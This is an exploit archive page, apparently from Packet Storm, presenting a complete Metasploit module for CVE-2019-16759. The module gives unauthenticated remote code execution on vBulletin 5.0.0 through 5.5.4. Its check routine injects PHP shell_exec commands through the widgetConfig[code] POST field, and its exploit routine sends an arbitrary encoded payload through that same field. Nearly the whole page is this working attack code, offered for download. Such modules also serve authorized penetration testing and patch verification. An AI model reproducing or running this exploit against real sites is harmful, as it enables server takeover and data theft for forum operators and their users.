what you don't know can hurt you

vBulletin 5.x Pre-Auth Remote Code Execution

vBulletin 5.x Pre-Auth Remote Code Execution
Posted Sep 28, 2019
Authored by r00tpgp | Site metasploit.com

vBulletin version 5.x pre-authentication remote code execution Metasploit module.

tags | exploit, remote, code execution
advisories | CVE-2019-16759
MD5 | c7cac52c91835ba88d0413888beea4c6

vBulletin 5.x Pre-Auth Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin 5.x 0day pre-quth RCE exploit',
'Description' => %q{
vBulletin 5.x 0day pre-auth RCE exploit.
This should work on all versions from 5.0.0 till 5.5.4
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' => [
'Reported by: anonymous', # reported by
'Original exploit by: anonymous', # original exploit
'Metasploit mod by: r00tpgp', # metasploit module
],
'Payload' =>
{
'BadChars' => "\x22",
},
'References' =>
[
['CVE', 'CVE-2019-16759'],
['EDB', 'NA'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759']
],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Targeting', { 'auto' => true } ],
# ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
# ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
],
'DisclosureDate' => 'Sep 23 2019',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
])

end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
'encode_params' => false,
'vars_post' =>
{
'widgetConfig[code]' => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;",
}
})

if res && res.body && res.body.include?('h4x0000r4l1f4')
return Exploit::CheckCode::Vulnerable
end

Exploit::CheckCode::Safe
end

def exploit
print_status("Sending payload.....")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'),
'encode_params' => false,
'vars_post' =>
{
#'widgetConfig[code]' => "echo " + payload.encoded + "exit;",
'widgetConfig[code]' => payload.encoded,
}
})
#unless resp and resp.code == 200
# fail_with(Failure::Unknown, "Exploit failed.")
#end

#print_good("Success!")
#print_line(resp.body)

end
end
Login or Register to add favorites

File Archive:

June 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    10 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    15 Files
  • 4
    Jun 4th
    25 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close